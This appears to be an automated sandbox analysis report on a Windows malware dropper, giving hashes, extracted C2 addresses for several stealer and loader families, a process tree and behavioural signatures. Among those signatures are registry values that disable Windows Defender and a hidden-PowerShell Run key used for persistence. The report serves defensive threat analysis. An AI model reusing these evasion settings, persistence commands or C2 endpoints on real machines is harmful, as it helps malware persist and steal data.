Analysis
-
max time kernel
51s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20231023-en -
resource tags
arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system -
submitted
01-11-2023 13:45
Static task
static1
Behavioral task
behavioral1
Sample
0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe
Resource
win7-20231020-en
Behavioral task
behavioral2
Sample
0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe
Resource
win10v2004-20231023-en
General
-
Target
0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe
-
Size
957KB
-
MD5
ff7ab8fec0deee7115073ff4cadc7895
-
SHA1
1ca961d70848b831d6a1505ab9df2c6595df314a
-
SHA256
0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107
-
SHA512
8a204cdd18790894d2803b66bc0a19ef13132eeca026e19ba30365969a2726665c007c64ab3e9add367f9c479e99e07fa32750dd0129baa872eb4af1a4723431
-
SSDEEP
12288:EbcPJo2dAKlpItf+BV3XHSlHYBPHJqXbmxoRj3cQpRnRu9cdTjBi+e:RP22dAK4tf+BVHHkIoRj3cQD5i+
Malware Config
Extracted
smokeloader
2022
http://77.91.68.29/fks/
Extracted
redline
grome
77.91.124.86:19084
Extracted
amadey
3.89
http://77.91.124.1/theme/index.php
-
install_dir
fefffe8cea
-
install_file
explothe.exe
-
strings_key
36a96139c1118a354edf72b1080d4b2f
Extracted
redline
kinza
77.91.124.86:19084
Extracted
redline
pixelnew
194.49.94.11:80
Extracted
raccoon
6a6a005b9aa778f606280c5fa24ae595
http://195.123.218.98:80
http://31.192.23
-
user_agent
SunShineMoonLight
Extracted
smokeloader
up3
Extracted
smokeloader
2020
http://host-file-host6.com/
http://host-host-file8.com/
Extracted
C:\K1LqbcE4P.README.txt
https://getsession.org
Signatures
-
DcRat 5 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
Processes:
AppLaunch.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe 6720 schtasks.exe 660 schtasks.exe 7012 schtasks.exe 7164 schtasks.exe -
Detect ZGRat V1 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\5930.exe family_zgrat_v1 C:\Users\Admin\AppData\Local\Temp\5930.exe family_zgrat_v1 behavioral2/memory/6056-289-0x0000000000A80000-0x0000000000E60000-memory.dmp family_zgrat_v1 -
Glupteba payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/5872-579-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/5872-698-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba behavioral2/memory/5872-971-0x0000000000400000-0x0000000000D1B000-memory.dmp family_glupteba -
Processes:
1A5D.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection 1A5D.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" 1A5D.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" 1A5D.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" 1A5D.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" 1A5D.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" 1A5D.exe -
Raccoon Stealer payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/2888-507-0x0000000000400000-0x000000000041B000-memory.dmp family_raccoon behavioral2/memory/2888-519-0x0000000000400000-0x000000000041B000-memory.dmp family_raccoon behavioral2/memory/2888-525-0x0000000000400000-0x000000000041B000-memory.dmp family_raccoon -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 11 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\19EF.exe family_redline C:\Users\Admin\AppData\Local\Temp\19EF.exe family_redline behavioral2/memory/2568-105-0x0000000000660000-0x00000000006BA000-memory.dmp family_redline behavioral2/memory/2568-106-0x0000000000400000-0x0000000000480000-memory.dmp family_redline behavioral2/memory/3372-112-0x0000000000230000-0x000000000026E000-memory.dmp family_redline behavioral2/memory/1328-152-0x00000000007D0000-0x000000000080E000-memory.dmp family_redline C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2iI657iQ.exe family_redline C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2iI657iQ.exe family_redline C:\Users\Admin\AppData\Local\Temp\63A2.exe family_redline C:\Users\Admin\AppData\Local\Temp\63A2.exe family_redline behavioral2/memory/2080-311-0x0000000000190000-0x00000000001AE000-memory.dmp family_redline -
SectopRAT payload 3 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\63A2.exe family_sectoprat C:\Users\Admin\AppData\Local\Temp\63A2.exe family_sectoprat behavioral2/memory/2080-311-0x0000000000190000-0x00000000001AE000-memory.dmp family_sectoprat -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Downloads MZ/PE file
-
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
1ADB.exeexplothe.exe5E52.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation 1ADB.exe Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation explothe.exe Key value queried \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation 5E52.exe -
Executes dropped EXE 24 IoCs
Processes:
1642.exe1828.exe19EF.exe1A5D.exeIN8gZ5gn.exe1ADB.exe1C24.exexU8mT4YJ.exeFb6jM0Il.exenk2Rg5kr.exeCompPkgSrv.exeexplothe.exe2iI657iQ.exemsedge.exe45A7.exeInstallSetup5.exetoolspub2.exeBroom.exe31839b57a4f11171d6abc8bbc4451ee4.exekos4.exepowershell.exe5E52.exelatestX.exe63A2.exepid process 1696 1642.exe 3432 1828.exe 3372 19EF.exe 4828 1A5D.exe 220 IN8gZ5gn.exe 1444 1ADB.exe 2568 1C24.exe 1580 xU8mT4YJ.exe 1936 Fb6jM0Il.exe 704 nk2Rg5kr.exe 772 CompPkgSrv.exe 2264 explothe.exe 1328 2iI657iQ.exe 3148 msedge.exe 4452 45A7.exe 5416 InstallSetup5.exe 5540 toolspub2.exe 5776 Broom.exe 5872 31839b57a4f11171d6abc8bbc4451ee4.exe 6068 kos4.exe 6056 powershell.exe 3524 5E52.exe 2868 latestX.exe 2080 63A2.exe -
Processes:
1A5D.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features 1A5D.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" 1A5D.exe -
Adds Run key to start application 2 TTPs 6 IoCs
Processes:
1642.exeIN8gZ5gn.exexU8mT4YJ.exeFb6jM0Il.exenk2Rg5kr.exe45A7.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" 1642.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" IN8gZ5gn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" xU8mT4YJ.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" Fb6jM0Il.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" nk2Rg5kr.exe Set value (str) \REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\45A7.exe'\"" 45A7.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 102 api.ipify.org 104 api.ipify.org -
Suspicious use of SetThreadContext 2 IoCs
Processes:
0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exeCompPkgSrv.exedescription pid process target process PID 3816 set thread context of 1652 3816 0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe AppLaunch.exe PID 772 set thread context of 1116 772 CompPkgSrv.exe AppLaunch.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 6536 sc.exe 4076 sc.exe 5768 sc.exe 1780 sc.exe 6448 sc.exe 4964 sc.exe 6556 sc.exe 1192 sc.exe 5960 sc.exe 5412 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 5 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 1308 3816 WerFault.exe 0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe 3440 1116 WerFault.exe AppLaunch.exe 408 2888 WerFault.exe RegAsm.exe 2148 5872 WerFault.exe 31839b57a4f11171d6abc8bbc4451ee4.exe 3152 6148 WerFault.exe 31839b57a4f11171d6abc8bbc4451ee4.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
AppLaunch.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI AppLaunch.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 7012 schtasks.exe 7164 schtasks.exe 660 schtasks.exe 6720 schtasks.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
msedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
AppLaunch.exepid process 1652 AppLaunch.exe 1652 AppLaunch.exe 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 3320 -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
AppLaunch.exepid process 1652 AppLaunch.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
Processes:
msedge.exepid process 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe -
Suspicious use of AdjustPrivilegeToken 38 IoCs
Processes:
1A5D.exekos4.exedescription pid process Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeDebugPrivilege 4828 1A5D.exe Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeDebugPrivilege 6068 kos4.exe Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 Token: SeShutdownPrivilege 3320 Token: SeCreatePagefilePrivilege 3320 -
Suspicious use of FindShellTrayWindow 25 IoCs
Processes:
msedge.exepid process 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe -
Suspicious use of SendNotifyMessage 24 IoCs
Processes:
msedge.exepid process 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe 3668 msedge.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Broom.exepid process 5776 Broom.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe1642.exeIN8gZ5gn.exexU8mT4YJ.execmd.exeFb6jM0Il.exenk2Rg5kr.exemsedge.exe1ADB.exeCompPkgSrv.exeexplothe.exedescription pid process target process PID 3816 wrote to memory of 1652 3816 0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe AppLaunch.exe PID 3816 wrote to memory of 1652 3816 0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe AppLaunch.exe PID 3816 wrote to memory of 1652 3816 0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe AppLaunch.exe PID 3816 wrote to memory of 1652 3816 0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe AppLaunch.exe PID 3816 wrote to memory of 1652 3816 0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe AppLaunch.exe PID 3816 wrote to memory of 1652 3816 0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe AppLaunch.exe PID 3320 wrote to memory of 1696 3320 1642.exe PID 3320 wrote to memory of 1696 3320 1642.exe PID 3320 wrote to memory of 1696 3320 1642.exe PID 3320 wrote to memory of 3432 3320 1828.exe PID 3320 wrote to memory of 3432 3320 1828.exe PID 3320 wrote to memory of 3432 3320 1828.exe PID 3320 wrote to memory of 3044 3320 cmd.exe PID 3320 wrote to memory of 3044 3320 cmd.exe PID 3320 wrote to memory of 3372 3320 19EF.exe PID 3320 wrote to memory of 3372 3320 19EF.exe PID 3320 wrote to memory of 3372 3320 19EF.exe PID 3320 wrote to memory of 4828 3320 1A5D.exe PID 3320 wrote to memory of 4828 3320 1A5D.exe PID 3320 wrote to memory of 4828 3320 1A5D.exe PID 1696 wrote to memory of 220 1696 1642.exe IN8gZ5gn.exe PID 1696 wrote to memory of 220 1696 1642.exe IN8gZ5gn.exe PID 1696 wrote to memory of 220 1696 1642.exe IN8gZ5gn.exe PID 3320 wrote to memory of 1444 3320 1ADB.exe PID 3320 wrote to memory of 1444 3320 1ADB.exe PID 3320 wrote to memory of 1444 3320 1ADB.exe PID 3320 wrote to memory of 2568 3320 1C24.exe PID 3320 wrote to memory of 2568 3320 1C24.exe PID 3320 wrote to memory of 2568 3320 1C24.exe PID 220 wrote to memory of 1580 220 IN8gZ5gn.exe xU8mT4YJ.exe PID 220 wrote to memory of 1580 220 IN8gZ5gn.exe xU8mT4YJ.exe PID 220 wrote to memory of 1580 220 IN8gZ5gn.exe xU8mT4YJ.exe PID 1580 wrote to memory of 1936 1580 xU8mT4YJ.exe Fb6jM0Il.exe PID 1580 wrote to memory of 1936 1580 xU8mT4YJ.exe Fb6jM0Il.exe PID 1580 wrote to memory of 1936 1580 xU8mT4YJ.exe Fb6jM0Il.exe PID 3044 wrote to memory of 3668 3044 cmd.exe msedge.exe PID 3044 wrote to memory of 3668 3044 cmd.exe msedge.exe PID 1936 wrote to memory of 704 1936 Fb6jM0Il.exe nk2Rg5kr.exe PID 1936 wrote to memory of 704 1936 Fb6jM0Il.exe nk2Rg5kr.exe PID 1936 wrote to memory of 704 1936 Fb6jM0Il.exe nk2Rg5kr.exe PID 704 wrote to memory of 772 704 nk2Rg5kr.exe CompPkgSrv.exe PID 704 wrote to memory of 772 704 nk2Rg5kr.exe CompPkgSrv.exe PID 704 wrote to memory of 772 704 nk2Rg5kr.exe CompPkgSrv.exe PID 3668 wrote to memory of 1012 3668 msedge.exe msedge.exe PID 3668 wrote to memory of 1012 3668 msedge.exe msedge.exe PID 1444 wrote to memory of 2264 1444 1ADB.exe explothe.exe PID 1444 wrote to memory of 2264 1444 1ADB.exe explothe.exe PID 1444 wrote to memory of 2264 1444 1ADB.exe explothe.exe PID 772 wrote to memory of 4892 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 4892 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 4892 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 3740 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 3740 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 3740 772 CompPkgSrv.exe AppLaunch.exe PID 2264 wrote to memory of 660 2264 explothe.exe schtasks.exe PID 2264 wrote to memory of 660 2264 explothe.exe schtasks.exe PID 2264 wrote to memory of 660 2264 explothe.exe schtasks.exe PID 772 wrote to memory of 1116 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 1116 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 1116 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 1116 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 1116 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 1116 772 CompPkgSrv.exe AppLaunch.exe PID 772 wrote to memory of 1116 772 CompPkgSrv.exe AppLaunch.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe"C:\Users\Admin\AppData\Local\Temp\0da9ea3e01929bd2d2d44e10d27dd0f9405a41d9f691ffaf518f7028353f7107.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3816 -s 2922⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3816 -ip 38161⤵
-
C:\Users\Admin\AppData\Local\Temp\1642.exeC:\Users\Admin\AppData\Local\Temp\1642.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\IN8gZ5gn.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\IN8gZ5gn.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xU8mT4YJ.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xU8mT4YJ.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Fb6jM0Il.exeC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Fb6jM0Il.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\nk2Rg5kr.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\nk2Rg5kr.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1dI10GX0.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1dI10GX0.exe6⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1116 -s 5408⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2iI657iQ.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2iI657iQ.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1828.exeC:\Users\Admin\AppData\Local\Temp\1828.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1951.bat" "1⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login2⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff9130346f8,0x7ff913034708,0x7ff9130347183⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2216 /prefetch:23⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2508 /prefetch:83⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 /prefetch:33⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3904 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4932 /prefetch:13⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1960,1776485856503756014,6125095774025193372,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:13⤵
-
